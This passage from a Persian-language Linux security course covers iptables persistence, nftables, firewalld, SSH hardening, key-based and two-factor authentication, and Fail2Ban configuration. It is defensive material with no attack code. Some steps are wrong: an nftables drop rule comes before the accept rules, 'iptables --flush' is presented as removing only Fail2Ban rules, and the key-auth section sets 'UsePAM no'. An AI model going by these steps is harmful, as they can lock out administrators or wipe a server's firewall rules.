۱۵. ذخیره تنظیمات برای ماندگاری بعد از ریستارت

در Ubuntu/Debian:

iptables-save > /etc/iptables.rules

در CentOS/RHEL:

service iptables save
۱۶. بارگذاری مجدد قوانین از فایل ذخیره‌شده
iptables-restore < /etc/iptables.rules

جمع‌بندی

  • iptables ابزاری قدرتمند برای فیلتر کردن ترافیک در لینوکس است.
  • می‌توان ترافیک ورودی، خروجی و عبوری را مدیریت کرد.
  • قابلیت NAT و Port Forwarding به سرور اجازه می‌دهد که درخواست‌ها را به دستگاه‌های دیگر هدایت کند.
  • ذخیره و بازیابی تنظیمات باعث ماندگاری تغییرات بعد از ری‌استارت سرور می‌شود.

 [/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”استفاده از nftables برای تنظیم قوانین جدید” subtitle=”توضیحات کامل”]nftables جایگزین مدرن و پیشرفته iptables برای مدیریت فایروال در لینوکس است که امکانات بهتری برای مدیریت قوانین فیلتر ترافیک، NAT، و کنترل بسته‌های شبکه‌ای فراهم می‌کند. این ابزار انعطاف‌پذیری بیشتری نسبت به iptables دارد و از یکپارچه‌سازی جداول و بهینه‌سازی خودکار بهره می‌برد.

در این بخش، نحوه نصب، پیکربندی و مدیریت قوانین با استفاده از nftables را به‌صورت گام‌به‌گام و همراه با مثال‌های عملی بررسی می‌کنیم.


نصب و فعال‌سازی nftables

۱. بررسی وضعیت nftables
systemctl status nftables
۲. نصب nftables (در صورت نیاز)

در Ubuntu/Debian:

apt update
apt install nftables -y

در CentOS/RHEL:

yum install nftables -y
۳. فعال‌سازی و راه‌اندازی nftables
systemctl enable --now nftables

ساختار nftables

در nftables از ساختار زیر برای مدیریت قوانین استفاده می‌شود:

  • Table (جدول): مجموعه‌ای از زنجیره‌ها
  • Chain (زنجیره): شامل مجموعه‌ای از قوانین
  • Rule (قانون): دستورالعملی برای مدیریت بسته‌های شبکه

انواع جداول:

  • filter: برای کنترل دسترسی و فیلتر کردن بسته‌ها
  • nat: برای انجام عملیات NAT
  • mangle: برای تغییر بسته‌های شبکه

ایجاد قوانین اولیه در nftables

۴. ایجاد جدول جدید
nft add table inet my_firewall
۵. ایجاد زنجیره‌های مورد نیاز
nft add chain inet my_firewall input { type filter hook input priority 0 \; }
nft add chain inet my_firewall output { type filter hook output priority 0 \; }
nft add chain inet my_firewall forward { type filter hook forward priority 0 \; }

مدیریت ترافیک ورودی (INPUT Chain)

۶. مسدود کردن همه ترافیک ورودی به جز ترافیک مجاز
nft add rule inet my_firewall input drop
۷. اجازه دادن به ترافیک SSH از یک محدوده خاص
nft add rule inet my_firewall input ip saddr 192.168.1.0/24 tcp dport 22 accept
۸. اجازه دادن به ارتباطات مرتبط (Established & Related)
nft add rule inet my_firewall input ct state established,related accept
۹. مسدود کردن درخواست‌های ICMP (پینگ)
nft add rule inet my_firewall input ip protocol icmp drop

مدیریت ترافیک خروجی (OUTPUT Chain)

۱۰. اجازه دادن به همه ترافیک خروجی
nft add rule inet my_firewall output accept
۱۱. مسدود کردن خروجی به یک IP خاص
nft add rule inet my_firewall output ip daddr 203.0.113.5 drop

مدیریت ترافیک عبوری (FORWARD Chain)

۱۲. مسدود کردن تمامی ترافیک فوروارد شده
nft add rule inet my_firewall forward drop
۱۳. اجازه دادن به ترافیک بین دو شبکه داخلی
nft add rule inet my_firewall forward ip saddr 192.168.1.0/24 ip daddr 192.168.2.0/24 accept

ایجاد قوانین NAT و Port Forwarding

۱۴. فعال‌سازی NAT برای شبکه داخلی
nft add table ip nat
nft add chain ip nat postrouting { type nat hook postrouting priority 100 \; }
nft add rule ip nat postrouting oifname "eth0" masquerade
۱۵. ریدایرکت کردن ترافیک ورودی به یک سرور داخلی (Port Forwarding)
nft add table ip nat
nft add chain ip nat prerouting { type nat hook prerouting priority 0 \; }
nft add rule ip nat prerouting tcp dport 80 dnat to 192.168.1.10:80

مدیریت و ذخیره تنظیمات nftables

۱۶. نمایش قوانین فعال
nft list ruleset
۱۷. ذخیره قوانین به فایل تنظیمات
nft list ruleset > /etc/nftables.conf
۱۸. بارگذاری مجدد قوانین از فایل تنظیمات
nft -f /etc/nftables.conf
۱۹. حذف یک قانون خاص
nft delete rule inet my_firewall input handle 3
۲۰. حذف کل جدول و قوانین آن
nft delete table inet my_firewall

جمع‌بندی

  • nftables جایگزین بهینه iptables بوده و امکانات مدرنی برای مدیریت فایروال ارائه می‌دهد.
  • ساختار Table, Chain, Rule در nftables باعث افزایش کارایی و سادگی مدیریت قوانین شده است.
  • می‌توان قوانین مختلفی برای مدیریت ترافیک ورودی، خروجی و عبوری تنظیم کرد.
  • NAT و Port Forwarding به سادگی با استفاده از nftables انجام می‌شود.
  • امکان ذخیره و بارگذاری قوانین باعث پایداری تنظیمات حتی پس از راه‌اندازی مجدد سیستم می‌شود.

[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”پیکربندی firewalld برای مدیریت دینامیک قوانین” subtitle=”توضیحات کامل”]firewalld یک فایروال پویا و قدرتمند در سیستم‌های لینوکسی است که جایگزین iptables شده و امکانات پیشرفته‌ای برای مدیریت قوانین امنیتی و فیلتر کردن ترافیک فراهم می‌کند. این ابزار از مناطق امنیتی (Zones) و سرویس‌ها (Services) برای تنظیم سیاست‌های امنیتی استفاده می‌کند و می‌توان آن را بدون نیاز به راه‌اندازی مجدد، به‌صورت دینامیک تغییر داد.

در این بخش، نحوه نصب، پیکربندی و مدیریت firewalld همراه با مثال‌های کاربردی و عملی ارائه می‌شود.


نصب و فعال‌سازی firewalld

۱. بررسی وضعیت firewalld
systemctl status firewalld
۲. نصب firewalld (در صورت نیاز)

در Ubuntu/Debian:

apt update
apt install firewalld -y

در CentOS/RHEL:

yum install firewalld -y
۳. فعال‌سازی و راه‌اندازی firewalld
systemctl enable --now firewalld
۴. بررسی نسخه firewalld
firewalld --version

ساختار firewalld و مناطق امنیتی (Zones)

در firewalld، ترافیک شبکه‌ای بر اساس مناطق امنیتی (Zones) کنترل می‌شود. برخی از مهم‌ترین مناطق به شرح زیر هستند:

  • public: برای اتصال به اینترنت با محدودیت‌های متوسط
  • internal: برای شبکه‌های داخلی با سطح دسترسی بالا
  • trusted: برای شبکه‌های کاملاً امن
  • drop: همه بسته‌ها را مسدود می‌کند
  • block: همه بسته‌ها را رد می‌کند و پاسخ ICMP unreachable ارسال می‌کند
  • work: مناسب برای شبکه‌های کاری
۵. مشاهده مناطق موجود و منطقه فعال
firewall-cmd --get-zones
firewall-cmd --get-default-zone
۶. تغییر منطقه پیش‌فرض
firewall-cmd --set-default-zone=public

مدیریت سرویس‌ها و پورت‌ها در firewalld

۷. مشاهده سرویس‌های مجاز در منطقه فعال
firewall-cmd --list-services
۸. اضافه کردن سرویس به منطقه فعال
firewall-cmd --add-service=http --permanent
firewall-cmd --add-service=https --permanent
۹. حذف یک سرویس از firewalld
firewall-cmd --remove-service=http --permanent
۱۰. مشاهده پورت‌های باز در منطقه فعال
firewall-cmd --list-ports
۱۱. اضافه کردن پورت به firewalld
firewall-cmd --add-port=8080/tcp --permanent
۱۲. حذف پورت از firewalld
firewall-cmd --remove-port=8080/tcp --permanent

مدیریت قوانین در firewalld

۱۳. مشاهده تمام قوانین اعمال‌شده در firewalld
firewall-cmd --list-all
۱۴. اعمال تغییرات بدون نیاز به راه‌اندازی مجدد
firewall-cmd --reload
۱۵. اضافه کردن یک IP خاص به لیست مسدودشده
firewall-cmd --add-rich-rule='rule family="ipv4" source address="203.0.113.5" drop' --permanent
۱۶. حذف یک IP از لیست مسدودشده
firewall-cmd --remove-rich-rule='rule family="ipv4" source address="203.0.113.5" drop' --permanent

مدیریت NAT و Port Forwarding

۱۷. فعال‌سازی NAT برای یک شبکه خاص
firewall-cmd --add-masquerade --permanent
۱۸. تنظیم Port Forwarding برای هدایت پورت 80 به 8080
firewall-cmd --add-forward-port=port=80:proto=tcp:toport=8080 --permanent
۱۹. مشاهده وضعیت NAT و Port Forwarding
firewall-cmd --query-masquerade

مدیریت دسترسی و محدود کردن ترافیک

۲۰. محدود کردن دسترسی به SSH فقط از یک IP خاص
firewall-cmd --add-rich-rule='rule family="ipv4" source address="192.168.1.100" service name="ssh" accept' --permanent
۲۱. محدود کردن درخواست‌های ICMP (پینگ)
firewall-cmd --add-icmp-block=echo-request --permanent
۲۲. حذف مسدودسازی ICMP
firewall-cmd --remove-icmp-block=echo-request --permanent

ذخیره و بارگذاری تنظیمات firewalld

۲۳. ذخیره تنظیمات و اطمینان از اعمال دائمی تغییرات
firewall-cmd --runtime-to-permanent
۲۴. راه‌اندازی مجدد firewalld برای اعمال تغییرات
systemctl restart firewalld
۲۵. ریست کردن firewalld و بازگشت به تنظیمات اولیه
firewall-cmd --complete-reload

جمع‌بندی

  • firewalld یک مدیریت دینامیک و منعطف برای تنظیم قوانین فایروال در لینوکس ارائه می‌دهد.
  • Zones (مناطق امنیتی) در firewalld به کاربران اجازه می‌دهند سیاست‌های امنیتی را بر اساس سطح اطمینان شبکه تنظیم کنند.
  • می‌توان سرویس‌ها و پورت‌ها را بدون نیاز به راه‌اندازی مجدد سیستم اضافه یا حذف کرد.
  • قوانین پیشرفته‌ای مانند مسدود کردن IP خاص، Port Forwarding و NAT به‌راحتی قابل انجام هستند.
  • با قابلیت‌های rich rules می‌توان قوانین پیچیده‌ای برای کنترل دسترسی‌ها و فیلترینگ اعمال کرد.
  • ذخیره و بارگذاری تنظیمات باعث می‌شود تغییرات حتی بعد از ری‌استارت سیستم باقی بمانند.

[/cdb_course_lesson][cdb_course_lesson title=”امنیت SSH”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”تنظیمات امنیتی SSH (Disable Root Login, Strong Passwords)” subtitle=”توضیحات کامل”]SSH یکی از مهم‌ترین راه‌های دسترسی به سرورها است، اما به دلیل اهمیت آن، امنیت این سرویس باید به‌درستی تنظیم شود تا از حملات Brute Force، دسترسی غیرمجاز و سوءاستفاده از دسترسی ریشه (root) جلوگیری شود.

در این بخش، به تنظیمات امنیتی SSH برای افزایش امنیت اتصالات راه دور پرداخته می‌شود. این تنظیمات شامل موارد زیر خواهد بود:

  • غیرفعال‌سازی ورود کاربر root
  • الزام استفاده از رمزهای عبور قوی
  • محدود کردن کاربران مجاز
  • محدود کردن تعداد تلاش‌های ناموفق ورود
  • فعال‌سازی احراز هویت کلیدی (Key-based authentication)
  • تغییر پورت پیش‌فرض SSH
  • پیکربندی Fail2Ban برای جلوگیری از حملات Brute Force

۱. غیرفعال‌سازی ورود کاربر root

به‌صورت پیش‌فرض، امکان ورود مستقیم به سیستم با کاربر root وجود دارد، اما این کار امنیت سیستم را به‌شدت کاهش می‌دهد. برای جلوگیری از این موضوع، باید ورود مستقیم root را در تنظیمات SSH غیرفعال کرد.

ویرایش فایل تنظیمات SSH

مسیر فایل: /etc/ssh/sshd_config

nano /etc/ssh/sshd_config
پیدا کردن و تغییر مقدار زیر:
PermitRootLogin no
بارگذاری مجدد سرویس SSH برای اعمال تغییرات
systemctl restart sshd

۲. الزام به استفاده از رمزهای عبور قوی

برای افزایش امنیت، باید از رمزهای عبور قوی استفاده کرد. در سیستم‌های لینوکسی می‌توان حداقل طول رمز عبور و پیچیدگی آن را تنظیم کرد.

ویرایش فایل تنظیمات PAM

مسیر فایل: /etc/security/pwquality.conf

nano /etc/security/pwquality.conf
افزودن تنظیمات زیر برای سخت‌گیری در رمزهای عبور
minlen = 12
dcredit = -1
ucredit = -1
ocredit = -1
lcredit = -1
  • minlen = 12 → حداقل طول رمز ۱۲ کاراکتر
  • dcredit = -1 → حداقل یک عدد
  • ucredit = -1 → حداقل یک حرف بزرگ
  • ocredit = -1 → حداقل یک کاراکتر خاص
  • lcredit = -1 → حداقل یک حرف کوچک

۳. محدود کردن کاربران مجاز برای ورود از طریق SSH

برای افزایش امنیت، باید فقط کاربران مشخصی اجازه ورود به سرور از طریق SSH را داشته باشند.

ویرایش فایل تنظیمات SSH
nano /etc/ssh/sshd_config
افزودن کاربران مجاز (به‌جای user1 و user2 نام کاربران واقعی را قرار دهید)
AllowUsers user1 user2
بارگذاری مجدد سرویس SSH
systemctl restart sshd

۴. محدود کردن تعداد تلاش‌های ناموفق ورود

برای جلوگیری از حملات Brute Force می‌توان تعداد تلاش‌های ناموفق ورود را محدود کرد.

ویرایش فایل تنظیمات SSH
nano /etc/ssh/sshd_config
افزودن مقدار زیر برای محدود کردن تعداد ورودهای ناموفق
MaxAuthTries 3
بارگذاری مجدد سرویس SSH
systemctl restart sshd

۵. فعال‌سازی احراز هویت کلیدی (Key-based authentication)

یکی از روش‌های بسیار امن برای ورود به SSH استفاده از کلیدهای عمومی و خصوصی است.

ایجاد کلید در سیستم کلاینت (لپ‌تاپ شخصی)
ssh-keygen -t rsa -b 4096
کپی کردن کلید به سرور
ssh-copy-id user@server-ip
غیرفعال کردن ورود با رمز عبور (پس از اطمینان از عملکرد کلیدها)

ویرایش فایل /etc/ssh/sshd_config و تغییر مقدار زیر:

PasswordAuthentication no
بارگذاری مجدد سرویس SSH
systemctl restart sshd

۶. تغییر پورت پیش‌فرض SSH

به‌صورت پیش‌فرض، SSH از پورت ۲۲ استفاده می‌کند که در بسیاری از حملات مورد هدف قرار می‌گیرد. تغییر پورت پیش‌فرض باعث کاهش تلاش‌های غیرمجاز برای ورود می‌شود.

ویرایش فایل تنظیمات SSH
nano /etc/ssh/sshd_config
پیدا کردن مقدار #Port 22 و تغییر آن (مثلاً به 2222)
Port 2222
افزودن پورت جدید به فایروال (اگر فایروال فعال است)
firewall-cmd --add-port=2222/tcp --permanent
firewall-cmd --reload
بارگذاری مجدد سرویس SSH
systemctl restart sshd

۷. پیکربندی Fail2Ban برای جلوگیری از حملات Brute Force

Fail2Ban ابزاری است که به‌طور خودکار IP‌هایی که تلاش‌های ناموفق متعددی دارند را مسدود می‌کند.

نصب Fail2Ban
apt install fail2ban -y   # Ubuntu/Debian
yum install fail2ban -y   # CentOS/RHEL
ایجاد و ویرایش فایل تنظیمات
nano /etc/fail2ban/jail.local
افزودن پیکربندی برای SSH
[sshd]
enabled = true
port = 2222
maxretry = 3
bantime = 600
findtime = 300
  • port = 2222 → شماره پورت SSH (اگر تغییر داده شده باشد)
  • maxretry = 3 → حداکثر تلاش ناموفق قبل از مسدود شدن
  • bantime = 600 → مسدود شدن IP به مدت ۱۰ دقیقه
  • findtime = 300 → مدت زمان بررسی تلاش‌ها (۵ دقیقه)
فعال‌سازی Fail2Ban
systemctl enable --now fail2ban
مشاهده وضعیت Fail2Ban
fail2ban-client status sshd

جمع‌بندی

  • ورود مستقیم root از طریق SSH را غیرفعال کنید.
  • رمزهای عبور قوی و پیچیده را اجباری کنید.
  • دسترسی SSH را فقط به کاربران مشخصی محدود کنید.
  • تعداد تلاش‌های ناموفق را محدود کرده و ورود با کلید را جایگزین کنید.
  • پورت پیش‌فرض SSH را تغییر دهید تا امنیت بیشتری داشته باشید.
  • با استفاده از Fail2Ban حملات Brute Force را شناسایی و مسدود کنید.

اجرای این تنظیمات باعث می‌شود SSH سرور شما ایمن‌تر شده و احتمال نفوذ و حمله به آن به‌شدت کاهش یابد.

 [/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”استفاده از Key-based Authentication در SSH” subtitle=”توضیحات کامل”]Key-based Authentication یکی از امن‌ترین روش‌های ورود به سرورهای لینوکسی از طریق SSH است. در این روش، به جای استفاده از پسوردهای متنی که در معرض حملات Brute Force و Dictionary Attack قرار دارند، از یک جفت کلید عمومی و خصوصی برای احراز هویت امن استفاده می‌شود.

در این بخش، نحوه ایجاد کلیدهای SSH، کپی کردن آن به سرور، پیکربندی SSH برای پذیرش کلیدها و غیرفعال‌سازی ورود با پسورد به صورت جامع بررسی می‌شود.


۱. بررسی کلیدهای SSH در سیستم لوکال

ابتدا بررسی کنید که آیا کلیدهای SSH از قبل در سیستم شما وجود دارند یا خیر:

ls -l ~/.ssh/id_*

اگر فایل‌های id_rsa، id_rsa.pub یا id_ed25519، id_ed25519.pub را مشاهده کردید، یعنی کلیدهای SSH از قبل روی سیستم شما موجودند و نیازی به تولید مجدد آن‌ها نیست. در غیر این صورت، باید کلید جدید ایجاد کنید.


۲. ایجاد کلید جدید SSH در سیستم کلاینت

ssh-keygen -t ed25519 -C "your_email@example.com"

توضیح:

  • -t ed25519 → استفاده از الگوریتم Ed25519 که سریع‌تر و امن‌تر از RSA است.
  • -C "your_email@example.com" → این گزینه یک کامنت برای شناسایی کلید اضافه می‌کند.

خروجی:

Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/user/.ssh/id_ed25519):

می‌توانید مسیر پیش‌فرض را بپذیرید و Enter بزنید.

Enter passphrase (empty for no passphrase):
Enter same passphrase again:

اگر می‌خواهید یک Passphrase برای امنیت بیشتر اضافه کنید، آن را وارد کنید. در غیر این صورت، فقط Enter بزنید.


۳. کپی کردن کلید عمومی به سرور ریموت

برای انتقال کلید عمومی به سرور، می‌توان از دستور ssh-copy-id استفاده کرد:

ssh-copy-id -i ~/.ssh/id_ed25519.pub user@remote-server

در صورت عدم دسترسی به ssh-copy-id، می‌توان این کار را دستی انجام داد:

cat ~/.ssh/id_ed25519.pub | ssh user@remote-server "mkdir -p ~/.ssh && cat >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys"

پس از اجرای این دستور، باید بتوانید بدون وارد کردن پسورد وارد سرور شوید:

ssh user@remote-server

۴. تغییر تنظیمات SSH سرور برای استفاده از احراز هویت با کلید

ویرایش فایل تنظیمات SSH در سرور
nano /etc/ssh/sshd_config
بررسی و تغییر مقادیر زیر:
PubkeyAuthentication yes
PasswordAuthentication no
ChallengeResponseAuthentication no
UsePAM no
PermitRootLogin no
اعمال تغییرات و ریستارت سرویس SSH
systemctl restart sshd

۵. تست احراز هویت با کلید SSH

برای تست ورود، کافی است از سیستم کلاینت به سرور SSH بزنید:

ssh user@remote-server

در صورتی که کلید به درستی تنظیم شده باشد، ورود بدون نیاز به پسورد انجام خواهد شد.


۶. اضافه کردن کلیدهای چندگانه برای کاربران مختلف

اگر نیاز به اضافه کردن چندین کلید برای کاربران مختلف دارید، می‌توانید کلیدها را به فایل authorized_keys اضافه کنید:

nano ~/.ssh/authorized_keys

افزودن چندین کلید در این فایل:

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB5ey7F8kqS1... user1@example.com
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHs8L2vOaNw5... user2@example.com

پس از ویرایش، باید دسترسی فایل را ایمن کنید:

chmod 600 ~/.ssh/authorized_keys

۷. تنظیم SSH Agent برای ورود خودکار بدون نیاز به وارد کردن Passphrase

اگر هنگام ورود از شما Passphrase کلید خصوصی پرسیده می‌شود، می‌توانید با استفاده از SSH Agent، کلید را در حافظه بارگذاری کنید:

eval $(ssh-agent -s)
ssh-add ~/.ssh/id_ed25519

برای حفظ این تنظیم پس از ری‌استارت سیستم، می‌توانید خطوط بالا را در ~/.bashrc یا ~/.profile اضافه کنید.


۸. حذف یک کلید SSH از سرور

برای حذف کلید یک کاربر، کافی است فایل authorized_keys را ویرایش کنید:

nano ~/.ssh/authorized_keys

کلید مورد نظر را حذف کنید و سپس ذخیره کنید.


جمع‌بندی

  • Key-based Authentication امن‌ترین روش ورود به سرورهای SSH است زیرا نیازی به پسورد ندارد و در برابر حملات Brute Force مقاوم است.
  • با استفاده از ssh-keygen می‌توان کلیدهای امن ایجاد کرد و با ssh-copy-id به سرور انتقال داد.
  • فعال‌سازی PubkeyAuthentication و غیرفعال کردن PasswordAuthentication باعث افزایش امنیت سرور می‌شود.
  • در صورت نیاز به ورود خودکار بدون Passphrase، می‌توان از ssh-agent استفاده کرد.
  • اضافه کردن و حذف کلیدها در ~/.ssh/authorized_keys کنترل ورود کاربران را ساده می‌کند.

با اجرای این مراحل، امنیت SSH شما تا حد زیادی افزایش پیدا خواهد کرد.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”پیکربندی Two-Factor Authentication (2FA) برای SSH” subtitle=”توضیحات کامل”]Two-Factor Authentication (2FA) یا احراز هویت دو مرحله‌ای، یکی از بهترین روش‌های افزایش امنیت ورود به سرورهای لینوکسی است. در این روش، علاوه بر رمز عبور یا کلید SSH، کاربر باید یک کد یک‌بار مصرف (OTP) را نیز وارد کند. این کد معمولاً از طریق برنامه‌هایی مانند Google Authenticator یا FreeOTP تولید می‌شود.

در این بخش، نحوه نصب و پیکربندی Google Authenticator، تنظیم SSH برای پذیرش 2FA، و تست نهایی بررسی خواهد شد.


۱. نصب Google Authenticator روی سرور

ابتدا بسته libpam-google-authenticator را روی سرور نصب کنید:

در Debian/Ubuntu:
apt update && apt install libpam-google-authenticator -y
در CentOS/RHEL:
yum install epel-release -y
yum install google-authenticator -y

۲. ایجاد کلید مخفی و تنظیم اولیه Google Authenticator

هر کاربر باید Google Authenticator را روی حساب خود پیکربندی کند. برای این کار، کاربر مربوطه (مثلاً user1) باید دستور زیر را اجرا کند:

google-authenticator

پس از اجرای دستور، چندین پرسش ظاهر می‌شود:

Do you want authentication tokens to be time-based (y/n) y

گزینه y را انتخاب کنید. سپس یک QR Code نمایش داده می‌شود که می‌توان آن را با برنامه Google Authenticator یا FreeOTP اسکن کرد.

همچنین، کدهای Recovery نمایش داده می‌شوند. این کدها را در جایی امن ذخیره کنید.

پس از آن، به چند سؤال دیگر پاسخ دهید:

Do you want me to update your "/home/user1/.google_authenticator" file? (y/n) y
Do you want to disallow multiple uses of the same authentication token? (y/n) y
Do you want to increase the time window? (y/n) n
Do you want to enable rate-limiting? (y/n) y

۳. پیکربندی PAM برای احراز هویت 2FA در SSH

برای فعال‌سازی 2FA در SSH، باید فایل /etc/pam.d/sshd را ویرایش کنید:

nano /etc/pam.d/sshd

خط زیر را به انتهای فایل اضافه کنید:

auth required pam_google_authenticator.so

سپس فایل را ذخیره کرده و ببندید.


۴. تنظیم SSH برای پذیرش 2FA

فایل تنظیمات SSH را باز کنید:

nano /etc/ssh/sshd_config

مقادیر زیر را تغییر دهید:

ChallengeResponseAuthentication yes
PasswordAuthentication yes
UsePAM yes
AuthenticationMethods publickey,password publickey,keyboard-interactive

نکته:

  • اگر فقط از پسورد استفاده می‌کنید، مقدار PasswordAuthentication را yes قرار دهید.
  • اگر از کلید SSH همراه با 2FA استفاده می‌کنید، مقدار AuthenticationMethods را به publickey,keyboard-interactive تغییر دهید.

۵. ریستارت سرویس SSH

پس از اعمال تغییرات، سرویس SSH را ریستارت کنید:

systemctl restart sshd

۶. تست ورود با 2FA

اکنون می‌توانید از یک کلاینت SSH به سرور متصل شوید:

ssh user@remote-server

ابتدا از شما رمز عبور یا کلید SSH خواسته می‌شود. پس از آن، یک پیام مانند زیر نمایش داده می‌شود:

Verification code:

در این مرحله، کد تولید شده توسط Google Authenticator را وارد کنید.

در صورت صحت کد، ورود انجام خواهد شد.


۷. وادار کردن تمام کاربران به استفاده از 2FA

برای اطمینان از اینکه همه کاربران از 2FA استفاده می‌کنند، می‌توانید دسترسی بدون 2FA را مسدود کنید.

برای این کار، فایل /etc/ssh/sshd_config را ویرایش کنید:

nano /etc/ssh/sshd_config

و مقدار زیر را تغییر دهید:

AuthenticationMethods publickey,keyboard-interactive

سپس SSH را مجدداً راه‌اندازی کنید:

systemctl restart sshd

۸. غیرفعال کردن 2FA برای کاربران خاص

اگر می‌خواهید 2FA را برای برخی کاربران غیرفعال کنید، می‌توانید قوانین PAM را تنظیم کنید.

فایل /etc/pam.d/sshd را باز کنید:

nano /etc/pam.d/sshd

و خط زیر را اضافه کنید:

auth [success=1 default=ignore] pam_succeed_if.so user in group no2fa

سپس گروه no2fa را ایجاد کنید:

groupadd no2fa

و کاربر مورد نظر را به این گروه اضافه کنید:

usermod -aG no2fa user1

اکنون کاربر user1 دیگر نیازی به استفاده از 2FA ندارد.


جمع‌بندی

  • Two-Factor Authentication (2FA) امنیت ورود SSH را به شدت افزایش می‌دهد.
  • Google Authenticator یا FreeOTP برای تولید کدهای یک‌بار مصرف استفاده می‌شوند.
  • با تغییر تنظیمات PAM و sshd_config، می‌توان SSH را به گونه‌ای تنظیم کرد که ورود فقط با استفاده از 2FA انجام شود.
  • در صورت نیاز، امکان غیرفعال کردن 2FA برای کاربران خاص وجود دارد.

با این تنظیمات، سرور شما در برابر حملات Brute Force و سرقت رمز عبور مقاوم‌تر خواهد شد.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”تنظیمات Fail2Ban برای جلوگیری از حملات Brute Force” subtitle=”توضیحات کامل”]Fail2Ban یک ابزار امنیتی برای محافظت از سرور در برابر حملات Brute Force است. این ابزار لاگ‌های سرویس‌های مختلف را بررسی کرده و IP‌های مشکوک را مسدود می‌کند. در این بخش، نصب، پیکربندی و بهینه‌سازی Fail2Ban برای جلوگیری از حملات SSH و سرویس‌های دیگر بررسی خواهد شد.


۱. نصب Fail2Ban

در Debian/Ubuntu:
apt update && apt install fail2ban -y
در CentOS/RHEL:
yum install epel-release -y
yum install fail2ban -y

۲. فعال‌سازی و اجرای Fail2Ban

بعد از نصب، سرویس را فعال کرده و اجرا کنید:

systemctl enable fail2ban
systemctl start fail2ban

برای بررسی وضعیت Fail2Ban اجرا کنید:

systemctl status fail2ban

۳. پیکربندی Fail2Ban برای SSH

Fail2Ban از طریق فایل /etc/fail2ban/jail.conf پیکربندی می‌شود. اما تغییرات نباید مستقیماً در این فایل اعمال شوند. برای جلوگیری از تغییرات ناخواسته، باید یک نسخه سفارشی (jail.local) ایجاد کنیم.

cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
nano /etc/fail2ban/jail.local

مقادیر زیر را تنظیم کنید:

[DEFAULT]
# مدت زمان مسدود شدن IP (در ثانیه)
bantime = 600

# حداکثر تلاش‌های ناموفق قبل از مسدود شدن
maxretry = 5

# مدت زمان نظارت روی تلاش‌های ناموفق (در ثانیه)
findtime = 600

# ارسال هشدار از طریق ایمیل (اختیاری)
destemail = admin@example.com
sender = fail2ban@example.com
mta = sendmail

# اقدام برای مسدودسازی IP
action = %(action_mwl)s

[sshd]
enabled = true
port = ssh
filter = sshd
logpath = /var/log/auth.log
maxretry = 5

نکات مهم:

  • bantime = 600 یعنی IP متخلف به مدت ۱۰ دقیقه مسدود خواهد شد.
  • maxretry = 5 یعنی بعد از ۵ تلاش ناموفق، IP مسدود می‌شود.
  • findtime = 600 یعنی اگر ۵ تلاش در ۱۰ دقیقه انجام شود، IP مسدود خواهد شد.

پس از ویرایش، فایل را ذخیره کنید و Fail2Ban را ریستارت کنید:

systemctl restart fail2ban

۴. بررسی وضعیت Fail2Ban

برای مشاهده وضعیت IP‌های مسدود شده و تعداد حملات شناسایی شده، دستور زیر را اجرا کنید:

fail2ban-client status sshd

خروجی مثال:

Status for the jail: sshd
|- Filter
|  |- Currently failed: 0
|  |- Total failed: 10
|  `- File list: /var/log/auth.log
`- Actions
   |- Currently banned: 2
   |- Total banned: 5
   `- Banned IP list: 192.168.1.100 203.0.113.25

۵. مسدود کردن IP به‌صورت دستی

اگر بخواهید یک IP خاص را مسدود کنید، از دستور زیر استفاده کنید:

fail2ban-client set sshd banip 192.168.1.100

برای رفع مسدودی یک IP خاص:

fail2ban-client set sshd unbanip 192.168.1.100

۶. اضافه کردن قوانین Firewall برای جلوگیری از دور زدن Fail2Ban

به طور پیش‌فرض، Fail2Ban از iptables برای مسدودسازی IP استفاده می‌کند. اما اگر از firewalld استفاده می‌کنید، باید Fail2Ban را با firewalld سازگار کنید.

فعال کردن firewalld:

systemctl enable firewalld
systemctl start firewalld

اضافه کردن Fail2Ban به firewalld:

firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="192.168.1.100" reject'
firewall-cmd --reload

۷. تنظیم ایمیل هشدار برای مسدود شدن IP

Fail2Ban می‌تواند هنگام مسدود کردن یک IP، هشدار ایمیلی ارسال کند. برای این کار، ابتدا بسته sendmail را نصب کنید:

در Debian/Ubuntu:
apt install sendmail -y
در CentOS/RHEL:
yum install sendmail -y

سپس در فایل /etc/fail2ban/jail.local مقدار action را تغییر دهید:

action = %(action_mwl)s

سرویس را ریستارت کنید:

systemctl restart fail2ban

۸. پیکربندی Fail2Ban برای سایر سرویس‌ها

علاوه بر SSH، می‌توان Fail2Ban را برای محافظت از سرویس‌های دیگری مانند Nginx، Apache، و MySQL تنظیم کرد.

پیکربندی برای Nginx
[nginx-http-auth]
enabled = true
port = http,https
filter = nginx-http-auth
logpath = /var/log/nginx/error.log
maxretry = 5
پیکربندی برای Apache
[apache-auth]
enabled = true
port = http,https
filter = apache-auth
logpath = /var/log/apache2/error.log
maxretry = 5

بعد از تنظیمات، Fail2Ban را ریستارت کنید:

systemctl restart fail2ban

۹. حذف و مشاهده قوانین فعال Fail2Ban

برای مشاهده قوانین iptables که Fail2Ban اضافه کرده است:

iptables -L -n --line-numbers

برای حذف تمامی قوانین Fail2Ban:

iptables --flush

جمع‌بندی

  • Fail2Ban ابزاری برای جلوگیری از حملات Brute Force است که IP‌های مشکوک را مسدود می‌کند.
  • با تنظیم jail.local می‌توان قوانین را سفارشی‌سازی کرد.
  • Fail2Ban از طریق iptables یا firewalld کار می‌کند و می‌توان برای سرویس‌های دیگر مانند Nginx و Apache نیز از آن استفاده کرد.
  • امکان ارسال هشدار ایمیلی هنگام مسدود شدن IP وجود دارد.

